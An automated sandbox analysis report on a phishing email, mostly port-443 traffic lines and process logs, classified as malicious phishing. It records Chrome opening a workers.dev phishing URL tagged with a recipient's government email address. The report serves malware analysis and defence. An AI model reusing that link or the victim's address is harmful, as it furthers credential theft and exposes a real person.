Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443

Source: unknown	HTTPS traffic detected: 20.190.159.2:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.2:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.2:443 -> 192.168.2.5:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49935 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.5:49952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50030 version: TLS 1.2

Source: classification engine

Classification label: mal100.phis.winMSG@19/61@20/11

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241107T1747130908-2132.etl

Jump to behavior

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /f "C:\Users\user\Desktop\Leg AdobeShareFile62532.pdf.eml (21.8 KB).msg"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "33D2C1D9-A338-44A4-B342-73999327D5FA" "57C154EC-7A9D-400B-BB7E-03D2AFEEBC88" "2132" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ppoe383938373.94f753c2d1263a70cd44ea51.workers.dev/?NHEDjoe.nguyen@leg.wa.gov
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1976,i,6964105365964533896,9458481899654346610,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "33D2C1D9-A338-44A4-B342-73999327D5FA" "57C154EC-7A9D-400B-BB7E-03D2AFEEBC88" "2132" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1976,i,6964105365964533896,9458481899654346610,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: c2r64.dll	Jump to behavior
